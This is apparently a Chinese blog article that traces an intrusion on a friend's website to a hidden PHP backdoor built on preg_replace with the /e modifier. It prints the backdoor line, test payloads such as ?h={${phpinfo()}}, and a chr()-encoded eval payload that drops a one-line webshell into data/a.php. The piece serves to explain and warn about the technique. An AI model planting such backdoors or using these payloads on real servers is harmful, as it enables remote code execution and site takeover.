朋友的网站遭遇了黑客攻击,但令人困惑的是——用遍了市面上常见的后门扫描工具,竟然没有发现任何PHP木马。黑客手法极其老练,每次入侵后都会将后门清理得一干二净,可过不了多久又会再次入侵。到底是从哪里进来的?这个谜题让人百思不得其解。
直到翻看服务器日志,才找到蛛丝马迹:有一个IP地址总会莫名其妙地向某个文件POST数据,过一会儿又去访问一个名称突兀的文件——一看就不是系统自带的,典型的PHP后门特征。但黑客用完即删,动作迅速。看来,遇到了一位谨慎的对手。
顺着日志继续深挖,发现他访问的文件里隐藏着这样一行代码:
@preg_replace("//e",$_POST['IN_COMSENZ'],"Access Denied");
乍看之下,这行代码似乎没什么问题?但正是它,成为了黑客精心隐藏的后门入口。隐蔽性极高,几乎任何查杀软件都对其束手无策。
问题就出在preg_replace函数的/e修饰符上。这个修饰符有何特别之处?先看函数原型:
mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])
官方文档特别说明:/e修正符使preg_replace()将replacement参数当作PHP代码执行(在完成适当的逆向引用替换之后)。换句话说,如果replacement参数中隐藏着恶意代码,它就会被直接执行。
上面那段代码是通过POST方式接收数据触发,测试起来稍显麻烦。如果换成GET方式提交呢?比如:
echo preg_replace("/test/e",$_GET["h"],"jutst test");
提交?h=phpinfo(),phpinfo()就会被执行——因为/e修饰符使得replacement参数被当作PHP代码执行。
如果我们要用POST方式,提交下面这串编码会是什么结果?
h=eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(100).chr(97).chr(116).chr(97).chr(47).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59))
这段密文对应的明文是:
fputs(fopen(data/a.php,w),);
执行的结果是在/data/目录下生成一个一句话木马文件a.php。细思极恐,对吧?
更隐蔽的操作还在后面。看这个例子:
function test($str)
{
}
echo preg_replace("/s*[php](.+?)[/php]s*/ies", 'test("\1")', $_GET["h"]);
?>
提交?h=phpinfo(),phpinfo()会被执行吗?肯定不会。因为经过正则匹配后,replacement参数变为'test("phpinfo")',此时phpinfo仅被当作一个字符串参数处理。
有没有办法让它执行呢?当然有。在这里如果提交?h={${phpinfo()}},phpinfo()就会被执行。为什么呢?
在PHP中,双引号里面如果包含有变量,PHP解释器会将其替换为变量解释后的结果;单引号中的变量则不会进行处理。注意:双引号中的函数不会被执行和替换。但这里通过{${}}构造出了一个特殊的变量——'test("{${phpinfo()}}")',达到了让函数被执行的效果(${phpinfo()}会被解释执行)。可以先做测试:
echo "{${phpinfo()}}";
phpinfo会被成功执行。因此,在排查后门时,千万别遗漏这类代码。
好了,绕了一大圈,回到最初那段代码:
@preg_replace("//e",$_POST['IN_COMSENZ'],"Access Denied");
看似人畜无害,实则暗藏杀机。这种隐藏手法极为隐蔽,希望这篇文章能帮助大家提高警惕。
